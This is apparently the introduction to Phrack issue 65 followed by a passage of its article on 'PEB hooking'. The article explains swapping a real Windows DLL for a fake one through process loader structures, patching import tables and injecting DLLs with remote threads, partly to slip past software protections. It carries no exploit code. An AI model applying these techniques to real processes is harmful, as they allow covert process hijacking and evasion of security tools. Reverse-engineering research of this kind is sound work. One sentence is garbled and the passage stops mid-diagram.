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                                ==Phrack Inc.==

                Volume 0x0c, Issue 0x41, Phile #0x01 of 0x0f

|=-----------------------------------------------------------------------=|
|=--------------------------=[ Introduction ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=-------------------=[ By The Circle of Lost Hackers ]=-----------------=|
|=-----------------------------------------------------------------------=|

Welcome back. 

Another year has passed, another PHRACK issue is out, PHRACK65.

Every time somebody gives me a present I end up thinking to the story of 
that gift. Where did it come from ? Who worked on it ? Did who worked on 
it ever thought that his work would have end up in my hands ? 

What about a PHRACK issue ? 

PHRACK comes from the underground, the underground worked on it, submitting
papers, sending feedback, commenting, spending long night chatting,
reading, BREATHING. Does the underground still breath ? 

Things change, panta rei. As hackers, we have fun. We want fun. Hacking is
fun. You know it because you did it, because you spent nights and nights on
this fucking fun, going to sleep at 6 a.m. and waking up three hours later
to present your face at school or work, with your brain still back home on
your encrypted work. Are you still having fun ? 

Please, don’t take it personally, don’t over-react. It’s just a question.
A question that everybody should pose to themselves every single day, no
matter what he is doing. FUN is not only PAYBACK. We are human, we love
receiving congrats, who doesn’t ? We LOVE seeing our little work spread
around. We love the clap-clap-clap sound. But does it really boil down only
to that ? 

When you lose fun and start doing things only for the payback, you’re dead.
Everyone of you who experienced a bad job or a bad exam topic knows the
feeling of "wasting time on useless things" that pops out in those moments.
But, most of the time, you _HAVE TO_ do it. 

Well, nobody _HAS TO DO_ hacking. Nobody.

If you are only doing that for a payback, than you are a DEAD hacker.
If you are only doing that to present a paper to a conference, to see your 
name somewhere, than you are a DEAD hacker.

It will work. You don’t need fun to be skilled, you don’t even need to be
skilled to post or to go to a conference, there are so many around that
everybody has some hole to fix. But your touch with the underground is
gone. Your responsibility towards friends, ideas, codes will slowly fade
away. HACKING is also responsibility and FUN is the only way to not feel 
its pressure

You might disagree, just post on your idea. Maybe it is a too dark 
scenario, maybe it is just a spring blues, maybe I am just pessimistic, but
this is the feeling. This is money taking over everywhere, this is seeing
more and more things done only for the payback.

This is seeing the underground heart beating slower and slower. 

PHRACK is just an example of what the underground has been able to do. Of
what we can do. But so many hackers out there are capable of disrupting the
system without having to read or write a magazine like we do. We are 
entering into a period where Government and Politics are trying to control 
technology with supposed-anti-terrorism laws. And they don’t lack money 
or good congrats.
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So please, please, help this fucking heart beating faster, pushing blood
around. Please HAVE FUN. 

This is the 65th edition of Phrack and we are still alive. Despite that
some people say they don’t learn anything when reading phrack we still 
think that Phrack is one of the best underground communication methods. Oh
well, for sure, there are other and even better ways. But Phrack is one way
and probably not the worse. We have tried to release this issue earlier but
editing a magazine (and especially Phrack) is not easy. We have received a
lot of positive comments after Phrack release #64 and a lot of people said
they will contribute. However we did not see anything coming. Almost all
articles from this release are coming from our first circle of friends.
Again.

This release, despite that it is not the perfect one, tries to bring
a good mix between technical articles and what we call spirit articles. Our
introducing and concluding articles (Phrack Prophile and The Underground
Myth) bring two opposite visions of the hacking underground. 

Contradiction? No. Freedom of speech.

We have kept with our regular columns Phrack World News and International 
Scenes. We also have decided to publish less exploit articles. However, 
low-level hackers should find their way easily into this new release.

[-]=====================================================================[-]

For this issue, we are bringing you the following :

0x01 Introduction                                                      TCLH
0x02 Phrack Prophile of The UNIX Terrorist                             TCLH
0x03 Phrack World News                                                 TCLH
0x04 Stealth Hooking: another way to subvert the Windows kernel     mxatone
                                                                  ivanlefou
0x05 Clawing holes in NAT with UPnP                            felinemenace
0x06 The only laws on Internet are assembly and RFCs                  Julia
0x07 Hacking the System Management Mode       BSDaemon, coideloko, d0nand0n
0x08 Mystifying the debugger for ultimate stealthness              halfdead
0x09 Australian Restricted Defense Networks and FISSO              The Finn
0x0a Phook - The PEB Hooker                                  shearer & dreg
0x0b Hacking the $49 Wifi Finder                                openschemes
0x0c The art of exploitation: Samba WINS stack overflow         max_packetz
0x0d The Underground Myth                                         anonymous
0x0e Hacking your brain: Artificial Conciousness                         -C
0x0f International scenes                                           various

Windows stealth hooking article brings a deep analysis of the XP kernel 
internals by presenting two sophisticated backdooring techniques. It is 
generally hard to find valuable reverse engineering articles covering
*new* topics and satisfying our standards, but these guys have made a great
job. Make sure also to check out the PEB Hooker and the full published 
source code if M$ software reversing is your thing. Both of those articles
will bring you a very good read.

Felinemenace is featured again and brings you one of their latest hacks on 
more recent network protocols. Our second network article digs into FISSO
by introducing not-so-public information about australian restricted
networks. 

As we continue to care about cryptography, Phrack #65 includes a useful 
cryptographic concept of deniable encryption, a particulary relevant topic 
for hackers. Check out Julia’s article for all details.

As mentioned, we have tried to bring you the best low-level hacking around.
Articles such as Hacking the System Management Mode, Hacking the $49 Wifi 
Finder, Mystifying the debugger, are not really 0day for those of you
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already in the underground, but aim to bring you sufficiently material to
develop your creativity on that matter.

Finally, we could not release Phrack without at least one exploitation
article. Max Packets has done the job of describing step by step his
Samba WINS exploit. The information contained herein will certainly be
enough for those of you guys who want to develop their own.

Scene Shoutz:
-------------

Again, Phrack #65 could not have happened without so many people. Thanks
to the admins, coders, hackers, scripterz.

Shouts : mauro, sysk, leandro, assad, kiwicon for an amazing conference 
with a lot of original topics. As long as you stay a non profit event 
Phrack will support you! We are also looking forward to the next BACon in 
september 2008. Shouts to all south american hackers & expats.

No shouts: All supposed "Underground people" who asked us million 
times when Phrack will be out but never contribute to the magazine. If 
you guys were a little more productive perhaps Phrack would be released 
more often. Also, we will -not- help poor indonesians bypassing 
government’s p0rn websites filters. Sorry taufiks1428@gmail.com.

Lames:

* cucamonga (xt@docking.gaykansascity.com) has joined #phrack
<el> why hasnt phrack65 been leaked yet
<vegas> probably coz i don’t have it
<shiftee> probably cause nobody wants to read it

Phrack has not been leaked this time...sorry for that... probably because
shiftee needs to sharpen his hacking skills instead of posing on IRC. He
could also read Phrack, we will not deny his IP address. Any questions,
send us an email.

Flames: vegas (insecure wannabe), HDM (pwnie coward)

Enjoy the magazine!

[-]=====================================================================[-]

Nothing may be reproduced in whole or in part without the prior written
permission from the editors. Phrack Magazine is made available to the
public, as often as possible, free of charge.

|=-----------=[ C O N T A C T   P H R A C K   M A G A Z I N E ]=---------=|

Editors           : circle[at]phrack{dot}org
Submissions       : circle[at]phrack{dot}org
Commentary        : loopback[@]phrack{dot}org
Phrack World News : pwn[at]phrack{dot}org

|=-----------------------------------------------------------------------=|

Submissions may be encrypted with the following PGP key:
(Hint: Always use the PGP key from the latest issue)

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.5 (GNU/Linux)

mQGiBEYfRF0RBADcVdkdzGcuHTx/r3ymypC622BkkAa4tYEsVXkOBFwvGLy5+ILn
M1nfwx1hfs1ZHQS53e8lxrs4j8qFSFuCTCQTCZuVFHaS9JDt+RfEyWwtmTTPfuhL
TYj1RON33t7OGEuyAF9oIca0Uj0PSREyT0mwbAOBVTZfWEC2yBZao+c3iwCghHaQ
fRShZoA5iTfRNP+qnUyyyJ0EAIxix1TB2ImygXn+mPoPFxIOYh71eXsi2LXPPYU5
Q2/snVork1wkGVjwB7Bn2cHEeyUVb8sHjXY18lGpXcx0jFjq7ZMFcBtevI4I1YJL
kfFkxQvXb8jjA8UY0IJfvhQ86O7OCsg0LnuCpHtnQAX8bljxZA27RO8cHLWfwOBX
4HhnBACZS4YrTKf5yC6HEVfB4j822a3hbmvuwSC9FVqJZzuW6agfeQjUMSi3TLig
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-----END PGP PUBLIC KEY BLOCK-----

phrack:˜# head -22 /usr/include/std-disclaimer.h
/*
 *  All information in Phrack Magazine is, to the best of the ability of
 *  the editors and contributors, truthful and accurate.  When possible,
 *  all facts are checked, all code is compiled.  However, we are not
 *  omniscient (hell, we don’t even get paid).  It is entirely possible
 *  something contained within this publication is incorrect in some way.
 *  If this is the case, please drop us some email so that we can correct
 *  it in a future issue.
 *
 *
 *  Also, keep in mind that Phrack Magazine accepts no responsibility for
 *  the entirely stupid (or illegal) things people may do with the
 *  information contained herein.  Phrack is a compendium of knowledge,
 *  wisdom, wit, and sass.  We neither advocate, condone nor participate
 *  in any sort of illicit behavior.  But we will sit back and watch.
 *
 *
 *  Lastly, it bears mentioning that the opinions that may be expressed in
 *  the articles of Phrack Magazine are intellectual property of their
 *  authors.
 *  These opinions do not necessarily represent those of the Phrack Staff.
 */

-EOF-
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                             ==Phrack Inc.==

               Volume 0x0c, Issue 0x41, Phile #0x0a of 0x0f

|=-----------------------------------------------------------------------=|
|=---------------------=[ phook - The PEB Hooker ]=----------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ [Shearer] - eunimedesAThotmail.com ]=---------------=|
|=----------------=[ Dreg      - DregATfr33project.org  ]=---------------=|
|=-----------------------------------------------------------------------=|
|=--=[ http://www.fr33project.org / Mirror: http://www.disidents.com ]=--=|
|=-----------------------------------------------------------------------=|
|=-------------------------=[ October 15 2007 ]=-------------------------=|
|=-----------------------------------------------------------------------=|
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------[ 0.- Foreword

Nomenclatures:
    .- [T.Index]: related works (section 10).
    .- [R.Index]: references (section 11).
Index is the identificator of the nomenclatures.

To understand the document it is needed to have knowledge in win32 about:
    - Types of executables:
        - PE32 [R.3]: DLLs, EXE... 
    - Programming:
        - Use of APIs [R.20]: LoadLibrary, GetModuleHandle ...
        - Hooks [R.10] [R.8] [...]
    - Win32 ASM [R.21].

Two terms will be used along all the document:
    1.- DLL_FAKE: DLL that will supplant a legitim DLL (DLL_REAL).
    2.- DLL_REAL: DLL that will be supplanted by DLL_FAKE.

Unless stated otherwise, hook/s will always refer to hook/s in win32.

------[ 1.- Introduction

Hooks in win32 are commonly used to do reverse engineering, the most common
motivations are the analisys of malware and packers, software protection
systems. Hooks are also used to monitorize parts of a software: access to
files, sockets, registry modification...

The actual methods to realize hooks in ring3 (see section 2.5) has
different problems (see section 2.5.1). The most important problem for us
was that  some software can detect them. There are software protection
systems that are able to alter the flow of execution when they detect some
kind of unknown hook, even the most sophisticated are able to eliminate
some types of hooks and continue the normal flow of execution.

Another problem comes while atempting to realize a hook in the virus that
tracks API’s addresses in memory, disabling some types of hooks like IAT
HOOKING (see section 2.5). There are software protection systems that use
some technics of virus and viceversa.

Due to these problems we have created phook, which uses a few documented
method to realize hooks in ring3 and it even makes some virus techniques
to use our hook.

This document explains how phook works and the PEB HOOKING [T.1] method.
phook is a tool that uses PEB HOOKING [T.1] to realize a hook of a DLL, it
also allows to realize other tasks interactively:
    - List loaded modules.
    - Load a DLL.
    - Download a DLL.
    - ...

The PEB HOOKING [T.1] method consists in supplanting a DLL_REAL in memory
by a DLL_FAKE, so all modules of a process that use DLL_REAL now will use
DLL_FAKE.

------[ 2 - Previous concepts

To understand the PEB HOOKING [T.1] method and how phook works, it is
needed to have clear understanding of some concepts:

------[ 2.1 - Process Environment Block

Process Environment Block (PEB) is a structure [R.1] located in the
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user’s space, that contains the process’ enviroment data [R.2]:
    - Enviroment variables.
    - Loaded modules list.
    - Addresses in memory of the Heap.
    - If the process is being depurated.
    - ...

    ------[ CODE
    
    typedef struct _PEB
    {   
        BOOLEAN InheritedAddressSpace;
        BOOLEAN ReadImageFileExecOptions;
        BOOLEAN BeingDebugged;
        BOOLEAN Spare;
        HANDLE  Mutant;
        PVOID ImageBaseAddress;
        PPEB_LDR_DATA LoaderData;
        PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
        PVOID SubSystemData;
        PVOID ProcessHeap;
        PVOID FastPebLock;
        PPEBLOCKROUTINE FastPebLockRoutine;
        PPEBLOCKROUTINE FastPebUnlockRoutine;
        ...
        
    } PEB, *PPEB;
    
    ------[ END CODE

To realize PEB HOOKING it is needed to use the field LoaderData [T.1].

------[ 2.1.1 - LoaderData

It is a structure [R.1] in which there are some data about the modules
of a process. It is a doubly linked list and it can be sorted by three
criteria [R.2]:
    1.- Order of loading
    2.- Order in memory
    3.- Order of initialization

    ------[ CODE

    typedef struct _PEB_LDR_DATA
    {
        ULONG Length;
        BOOLEAN Initialized;
        PVOID SsHandle;
        LIST_ENTRY InLoadOrderModuleList;
        LIST_ENTRY InMemoryOrderModuleList;
        LIST_ENTRY InInitializationOrderModuleList;
        

    } PEB_LDR_DATA, *PPEB_LDR_DATA;
    
    ------[ END CODE

All flink and blink fields in LIST_ENTRY are in reality pointers
to LDR_MODULE.
    
    ------[ CODE
    
    typedef struct _LIST_ENTRY {
        struct _LIST_ENTRY * Flink;
        struct _LIST_ENTRY * Blink;
        
    } LIST_ENTRY,*PLIST_ENTRY;
    
    ------[ END CODE
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The data that we are going to manipulate from LDR_MODULE to realize
PEB HOOKING are [T.1]:
    - BaseAddress: The base of the module in memory.
    - EntryPoint : Address where the module’s first instruction to
                   be executed can be found.
    - SizeOfImage: Size of the module in memory.

    ------[ CODE

    typedef struct _LDR_MODULE
    {
        LIST_ENTRY InLoadOrderModuleList;
        LIST_ENTRY InMemoryOrderModuleList;
        LIST_ENTRY InInitializationOrderModuleList;
        PVOID BaseAddress;
        PVOID EntryPoint;
        ULONG SizeOfImage;
        UNICODE_STRING FullDllName;
        UNICODE_STRING BaseDllName;
        ULONG Flags;
        SHORT LoadCount;
        SHORT TlsIndex;
        LIST_ENTRY HashTableEntry;
        ULONG TimeDateStamp;

    } LDR_MODULE, *PLDR_MODULE;
    
    ------[ END CODE

------[ 2.2 - Import Address Table

Import Address Table (IAT) is a table that the PE32 [R.3] have,
which fills the win32 loader when a module [R.4] is loaded and also on 
late loading using stub at IAT.

External symbols that need a module are called importations, the symbols
that a module provide to other modules are called exportations.

In the IAT [R.3] of a module there are the addresses of its importations,
that is, in the IAT [R.3] of a module there are the addresses of the
exportations it uses from other modules.

------[ 2.2.1 - Load of the Import Address Table

For the win32 loader to be able to obtain the exportation it needs to
know: the module where it is located, the name of the exportation and/or
the ordinal [R.3].

The PE32 has a structure called IMAGE_IMPORT_DESCRIPTOR [R.5] where we
can highlight the fields:
    - Name              : Name of the module where the exportations are
                          located.
    - OriginalFirstThunk: Address of the table where the names and/or
                          the ordinals of the exportations that the
                          module imports are located.
    - FirstThunk        : Address of a table, identical to
                          OriginalFirstThunk, where the win32 loader
                          puts the addresses of the importations.
                        
    ------[ CODE
    
    typedef struct _IMAGE_IMPORT_DESCRIPTOR {
        DWORD OriginalFirstThunk;
        DWORD TimeDateStamp;
        DWORD ForwarderChain;
        DWORD Name;
        DWORD FirstThunk;



phrack65/10.txt Fri Jul 01 13:24:52 2022 5

        
    } IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;
    
    ------[ END CODE

Each entry of the table of FirstThunk and OriginalFirstThunk has two
fields [R.3]:
    - Hint: if the first 31/63 bits are 0x80000000 it will import only
            taking account the ordinal, otherwise the name will be used.
            The bits 15-0 represent the ordinal.
    - Name: Address where the name of the exportation is located.
    
    ------[ CODE
    
    typedef struct _IMAGE_IMPORT_BY_NAME {
        WORD Hint;
        BYTE Name[1];
        
    } IMAGE_IMPORT_BY_NAME,*PIMAGE_IMPORT_BY_NAME;
    
    ------[ END CODE

------[ 2.3 - Starting a process in suspended state

When it is wanted to create a process in suspended state it is necessary to
know which type it is [R.6]:
    - Console
    - GUI

Console type processes can be created with the API CreateProcess and the
flag CREATE_SUSPENDED.

If GUI type processes are opened with the flag CREATE_SUSPENDED may not
work correctly, so they must be created using the APIs:
    1.- CreateProcess   : Process is created without the flag
                          CREATE_SUSPENDED.
    2.- WaitForInputIdle: Correct load of the process [R.6] is waited for.
    3.- SuspendThread   : The main thread is suspended.

------[ 2.4 - Injection of a DLL in a process

To inject a DLL in a process there are many methods [R.7], the most
simple is using the APIs:
    1.- VirtualAllocEx    : To reserve memory in the process.
    2.- WriteProcessMemory: To write in the reserved space a code that
                            loads a DLL.
    3.- CreateRemoteThread: A thread is created in the process that
                            executes the written code.
    4.- VirtualFreeEx     : Once the DLL is loaded reserved memory is
                            freed.

------[ 2.5 - Hooks in ring3

There always has been many forms to realize "hooks" in win32, as much in
ring3 as in ring0. The problem about working in ring0 lies in that if
something fails the OS may become unstable. The most stable method for
the OS is to realize the "hook" from ring3.

The most known methods are:
    - IAT HOOKING: Entries in the IAT [R.3] are modified, which puts the
                   loader in win32, so it points to another zone [R.8].
                   
    - PUSH + RET: In a code area PUSH DIRECTION and RET are introduced to
                  jump to the desired address.
                  Generally it is needed to pass the control to the
                  original area, having to restore it in a determined
                  moment [R.9].
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    - SetWindowHook...: With these APIs, a callback may be registered
                        for different events of the system [R.10].

------[ 2.5.1 - Problems

Some problems in the methods to realize hooks in ring3:

+-------------------------------------------------------------------------+
| Some Methods           | Some problems                                  |
+------------------------+------------------------------------------------+
| IAT HOOKING [R.8]      | 1.- The IAT [R.3] of all the loaded modules    |
|                        |     have to be changed.                        |
|                        | 2.- A module does not need IAT [R.3] to use    |
|                        |     symbols exported by others.                |
|                        | 3.- It is very well known.                     |
|                        | 4.- Easy to repair.                            |
|                        | 5.- Can be detectable.                         |
|                        | 6.- Does not allow full control from the start.|
|------------------------+------------------------------------------------|
| PUSH + RET [R.9]       | 1.- The method is not generic for all the areas|
|                        |     of the code.                               |
|                        | 2.- It is complicated to implement.            |
|                        | 3.- Easy to repair.                            |
|                        | 4.- Can be detectable.                         |
|                        | 5.- Does not allow full control from the start.|
|------------------------+------------------------------------------------|
| Other "hooks":         | 1.- Does not allow full control.               |
| SetWindowHook... [R.10]| 2.- Easy to repair.                            |
|                        | 3.- Can be detectable.                         |
|------------------------+------------------------------------------------|
| PEB HOOKING [T.1]      | 1.- It is complicated to implement.            |
|                        | 2.- The original DLL and the injected have to  |
|                        |     export the same symbols in the same order  |
|                        |     (at least).                                |
|                        | 3.- Can be detectable.                         |
|                        | 4.- Does not allow full control from the start.|
+------------------------+------------------------------------------------+

Note: This table only represents the opinion of the authors.

Calls from ring3 to ring0 using SYSENTER cannot be controlled by means of
the previous methods only. A system call from ring3 can be realized with
SYSENTER [R.11] without happening through any DLL, of such way that the
previous methods are made unusable in this pretty rare situation.

Due to the previous problems, we have decided to use PEB HOOKING [T.1] to
create a engine that realizes more than "hooks": phook - The PEB Hooker.

Note: The advantages and possibilities of PEB HOOKING [T.1] are explained
in section 7.

------[ 3.- Design

In this section it will be spoken of the base design to realize PEB
HOOKING [T.1] successfully. The implementation is not complicated when it
is understood why each thing is done.

The steps:
    
    1.- Load DLL_FAKE and DLL_REAL.
    
    2.- In the list that uses the loader in win32, in which all the
        loaded modules in this moment are located, it has to exchange
        many fields between DLL_FAKE and DLL_REAL.
        
    3.- It is necessary that the IATs [R.3] of all the loaded modules,
        except DLL_REAL and maybe DLL_FAKE point to the functions that
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        the DLL_FAKE exports.
        

------[ 3.1 - Fore steps to PEB HOOKING

It is necessary before anything to load a DLL_FAKE into the memory of the 
process, to which it is wanted to realize PEB HOOKING [T.1]. The DLL_FAKE
must have at least the same exportations and the same order of DLL_REAL.

------[ 3.2 - Exchange of data in LoaderData

It is necessary to search DLL_FAKE and DLL_REAL for some identificative
fields of LDR_MODULE, once found the following data will be exchanged:
    - EntryPoint
    - BaseAddress
    - SizeOfImage (almost always)

The search using the field BaseDllName will obtain the data of LDR_MODULE
pertaining to DLL_FAKE. Some virus, packers and APIs use this form of
search to find the BaseAddress or EntryPoint of a module.

It is necessary to change the field SizeOfImage in the case that DLL_FAKE
and DLL_REAL do not have the same size in memory.

Searching flow of BaseAddress of kernel32.dll in a process without
PEB HOOKING [T.1]:

                     0     +---------------------------------+
   [ process ] ---------+  | Process Environment Block (PEB) |
                        |  |---------------------------------|
                        |  | InheritedAddressSpace           |
                        |  | ReadImageFileExecOptions        |
                        |  | BeingDebugged                   |
                        |  | Spare                           |
                        |  | Mutant                          |
                        |  | ImageBaseAddress                |
                        +->| LoaderData                      |--+
                           | ...                             |  |
                           +---------------------------------+  | 1
                                                                |
                                                                |
 +--------------------------------------------------------------+
 |  +----------------------------+     +----------------------------+
 |  |          LoaderData        |     |         LDR_MODULE         |
 |  +----------------------------+     |----------------------------| flink
 |  | Length                     |     | InLoadOrderModList         |-----+
 |  | Initialized                |     | InMemoryOrderModList       |     |
 |  | SsHandle                   |     | InInitOrderModList         |     |
 +->| InLoadOrderModList         |  2  | ...                        |     |
    | InMemoryOrderModList       |---->| BaseDllName   "ntdll.dll"  |---+ |
    | InInitOrderModList - Flink |     +----------------------------+   | |
    +----------------------------+ +------------------------------------+ |
                                   |   +----------------------------+     |
                                   |   |   LDR_MODULE (DLL_REAL)    |     |
                                   |   |----------------------------|     |
                                   |   | InLoadOrderModList         |   6 |
    +---------------------+     3  |   | InMemoryOrderModList       |     |
    |   "kernel32.dll"    |<-------+   | InInitOrderModList         |     |
    +---------------------+            | BaseAddress  7C801000      |     |
        8 |     |4       ^        7    | ...                        |     |
    Yes <-+     +-> No   +-------------| BaseDllName "kernel32.dll" |<----+
     |               | 5               | ...                        |
   9 |               v                 +----------------------------+
     |            NextLdrModule();
     v
 kernel32.dll = 7C801000

Searching flow of BaseAddress of kernel32.dll in the previous process with
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PEB HOOKING [T.1]:

                     0     +---------------------------------+
   [ process ] ---------+  | Process Environment Block (PEB) |
                        |  |---------------------------------|
                        |  | InheritedAddressSpace           |
                        |  | ReadImageFileExecOptions        |
                        |  | BeingDebugged                   |
                        |  | Spare                           |
                        |  | Mutant                          |
                        |  | ImageBaseAddress                |
                        +->| LoaderData                      |--+
                           | ...                             |  |
                           +---------------------------------+  | 1
                                                                |
                                                                |
 +--------------------------------------------------------------+
 |  +----------------------------+     +----------------------------+
 |  |          LoaderData        |     |         LDR_MODULE         |
 |  +----------------------------+     |----------------------------| flink
 |  | Length                     |     | InLoadOrderModList         |-----+
 |  | Initialized                |     | InMemoryOrderModList       |     |
 |  | SsHandle                   |     | InInitOrderModList         |     |
 +->| InLoadOrderModList         |  2  | ...                        |     |
    | InMemoryOrderModList       |---->| BaseDllName   "ntdll.dll"  |---+ |
    | InInitOrderModList - Flink |     +----------------------------+   | |
    +----------------------------+ +------------------------------------+ |
                                   |   +----------------------------+     |
                                   |   |   LDR_MODULE (DLL_REAL)    |     |
                                   |   |----------------------------|   6 |
                                   |   | InLoadOrderModList         |     |
    +---------------------+     3  |   | InMemoryOrderModList       |flink|
    |   "kernel32.dll"    |<-------+   | InInitOrderModList         |--+  |
    +---------------------+            | BaseAddress 7C801000       |  |  |
       12 |     |4-8   ^ ^        7    | ...                        |  |  |
    Yes <-+     +-> No | +-------------| BaseDllName "old_k32.dll"  |<-|--+
     |           5-9 | +------------+  | ...                        |  |
  13 |               v              |  +----------------------------+  |
     |            NextLdrModule();  +-+                                |
     v                                | +----------------------------+ |
 kernel32.dll = 005C5000              | |   LDR_MODULE (DLL_FAKE)    | | 10
                                      | |----------------------------| |
                                  11  | | InLoadOrderModList         | |
                                      | | InMemoryOrderModList       | |
                                      | | InInitOrderModList         | |
                                      | | BaseAddress 005C5000       | |
                                      | | ...                        | |
                                      +-| BaseDllName "kernel32.dll" |<+
                                        | ...                        |
                                        +----------------------------+
                                        
Results of the search in the process:
    1.- BaseAddress without PEB HOOKING [T.1]: 7C801000 (DLL_REAL)
    2.- BaseAddress with PEB HOOKING [T.1]: 005C5000 (DLL_FAKE)

PD: Generally searching by InLoadOrderModList, the first field that shows
    up is the LDR_MODULE corresponding to the main module. In the
    example it has been omited for the sake of clarity.
    

------[ 3.3 - Dynamic load of modules

When a process, in that PEB HOOKING [T.1] has been done, loads a module
dynamically [R.12] that has importations from DLL_REAL, its IAT [R.3]
will be loaded automatically with the necessary exportations of DLL_FAKE.

------[ 3.4 - Repairing the IAT

Except in the modules DLL_FAKE and DLL_REAL, all the IATs [R.3] that have
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exportations of the DLL_REAL shall be replaced by the corresponding ones
from DLL_FAKE. The IAT [R.3] of DLL_FAKE is not due to change in case the
exportations of DLL_REAL are needed to be used.

If the IAT [R.3] of DLL_FAKE has been modified so the exportations of
DLL_REAL are the same ones of DLL_FAKE, a call to a exportation of
DLL_REAL from the same exportation of DLL_FAKE, will enter in an
infinite recursive loop, causing stack overflow.
    
    +--------------------------+     +--------------------------------+
    |      .text DLL_FAKE      |     |               IAT              |
    |--------------------------|     |--------------------------------|
    | ...                      |     | LocalAlloc  1 (Nr_LocalAlloc)  |
    | PUSH EBP                 |  +->| LoadLibrary 2 (Nr_LoadLibrary) |--+
    | MOV EBP, ESP             |  |  |  ....                          |  |
    | ...                      |  |  +--------------------------------+  |
    | LoadLibrary_FAKE:        |  |                                      |
 +->| PUSH original_lib_name   |  | 0                                    |
 |  | CALL IAT[Nr_LoadLibrary] |--+                                      |
 |  | ...                      |                                         |
 |  | POP EBP                  |                                         |
 |  | RET                      |                                         |
 |  | ...                      |                                         |
 |  +--------------------------+                                         |
 |                                          1                            |
 +-----------------------------------------------------------------------+

The real problem is that we are calling ourselves either directly or
indirectly by one or various DLLs. It is not due to repair the IAT [R.3]
of any module (DLL_ANY) when DLL_FAKE calls an exportation of DLL_ANY that
at the same time calls an exportation of DLL_FAKE that implies to call
again the same exportation direct or indirectly from DLL_ANY.

Flow of a call to RtlHeapAlloc, when PEB HOOKING [T.1] has been done over
NTDLL.DLL and the IAT of kernel32.dll has been changed:

Example:

[ process ]
 |
 | CALL RtlHeapAlloc                         CALL LoadLibrary
 +-------------------> [DLL_FAKE ntdll.dll] ------------------+
              0         ^                           1         |
                        | CALL RtlInitUnicodeString           v
                        +--------------------------- [DLL_ANY kernel32.dll]
                                          2

Flow of a call to RtlHeapAlloc, when PEB HOOKING [T.1] has been done over
NTDLL.DLL and the IAT [R.3] of kernel32.dll has NOT been changed:

[ process ]<----------------+
 |                       4  |
 | CALL RtlHeapAlloc        |                 CALL LoadLibrary
 +-------------------> [ DLL_FAKE ntdll.dll] ------------------+
    0                       ^                       1          |
         +------------------+                                  |
         |    3                                                |
         |                CALL RtlInitUnicodeString            v
[DLL_REAL old_nt.dll] <--------------------------- [DLL_ANY kernel32.dll]
                                          2
                                          
Note: The scheme has been simplified, omiting the rest of calls of
      DLL_FAKE.

Flow of a normal call to LoadLibrary in a process (without PEB HOOKING
[T.1]):

            CALL IAT[Nr_LoadLibrary]  +--------------------------------+
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[process] -------------------------+  |                IAT             |
   ^                0              |  |--------------------------------|
   |                               |  | LocalAlloc  1 (Nr_LocalAlloc)  |
   |    +-----------------------+  +->| LoadLibrary 2 (Nr_LoadLibrary) |-+
   |    | DLL_REAL kernel32.dll |     |  ....                          | |
   |    |-----------------------|     +--------------------------------+ |
   |    | ...                   |                  1                     |
   |    | LoadLibrary:          | <--------------------------------------+
   | 2  | PUSH EBP              |
   |    | MOV EBP, ESP          |
   |    | ...                   |
   |    | POP EBP               |
   +----| RET                   |
        | ...                   |
        +-----------------------+

The flow is normal and passes directly by DLL_REAL.

    
Flow of a call to LoadLibrary in a process with PEB HOOKING [T.1]:

            CALL IAT[Nr_LoadLibrary]  +--------------------------------+
[process] -------------------------+  |                IAT             |
   ^                0              |  |--------------------------------|
   |                               |  | LocalAlloc  1 (Nr_LocalAlloc)  |
   |  +-------------------------+  +->| LoadLibrary 2 (Nr_LoadLibrary) |-+
   |  | DLL_FAKE  kernel32.dll  |     |  ....                          | |
   |  |-------------------------|     +--------------------------------+ |
 4 |  | ...                     |                     1                  |
   |  | Own_LoadLibrary:        | <--------------------------------------+
   |  | PUSH EBP                |
   |  | MOV EBP, ESP            |       +-----------------------------+
   |  | // Own functions...     |   2   | DLL_REAL  old_k32.dll       |
   |  | CALL IAT[Nr_LoadLibrary]|----+  |-----------------------------|
   |  | POP EBP                 |<-+ |  | ...                         |
   +--| RET                     |  | +->| LoadLibrary:                |
      |   ...                   |  |    | PUSH EBP                    |
      +-------------------------+  |    | MOV EBP, ESP                |
                                   |    | ...                         |
                                 3 |    | POP EBP                     |
                                   |    | RET                         |--+
                                   |    | ...                         |  |
                                   |    +-----------------------------+  |
                                   +-------------------------------------+

As it can be observed the flow passes first through DLL_FAKE. Then
DLL_FAKE calls to the original LoadLibrary (DLL_REAL).

------[ 3.5 - Starting execution

Once all the previous steps are done it is the moment for beginning to
execute the process and to see if everything works.

------[ 3.6 - The APIs that work with modules

The APIs LoadLibrary, GetModuleHandle, EnumProcessModules [R.12] ... use
the field LoaderData from the PEB [T.1]. This means that everytime that
they try something against DLL_REAL they will be interacting with
DLL_FAKE, for example:

PEB HOOKING [T.1] has been done to USER32.DLL:
    - DLL_FAKE
        - Name in memory:    USER32.DLL
        - BaseAddress:       00435622
    - DLL_REAL
        - Name in memory:    OLD_U32.DLL
        - BaseAddress:       77D10000
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The process tries to obtain the base of USER32.DLL:
    - HMODULE user32 = GetModuleHandle( "user32.dll" );

After executing GetModuleHandle [R.12] the variable user32 will contain:
00435622 (BaseAddress of DLL_FAKE). If the process does later a
GetProcAddress [R.12] on some function exported by USER32.DLL, it will
obtain the function of DLL_FAKE.

Thanks to PEB HOOKING [T.1] it is no longer necessary to change the
behaviour of the APIs that work with modules so that they use DLL_FAKE.

------[ 3.7 - A new concept: DLL MINIFILTER

DLL MINIFILTER is the name that we have given to the capacity by which a
call to an exportation can pass through several DLL_FAKE. One of the most
importtant advantages of the method is to extend or to limit the
functionalities modularly to the call of an exportation.

When PEB HOOKING [T.1] is done over a DLL_FAKE, the term DLL_REAL for the
new DLL_FAKE becomes the previous DLL_FAKE, creating
While doing PEB HOOKING [T.1] over DLL_FAKE, the DLL_REAL term for the new 
DLL_FAKE, became the before  DLL_FAKE value, creating therefore a stack of 
DLL_FAKEs. The flow will go form the last DLL_FAKE, of which PEB HOOKING 
[T.1] has taken control, to the DLL_REAL, in case that all the DLL_FAKEs 
call to the original export.

Flow of a call of a proceso, with PEB HOOKING [T.1], with just one
DLL_FAKE:
           0              1
[process] --> [DLL_FAKE] --> [DLL_REAL]
    ^                            |
    |             2              |
    +----------------------------+

Flow of a call of a process, with PEB HOOKING [T.1], with three DLL_FAKEs:
           0                1                2                3
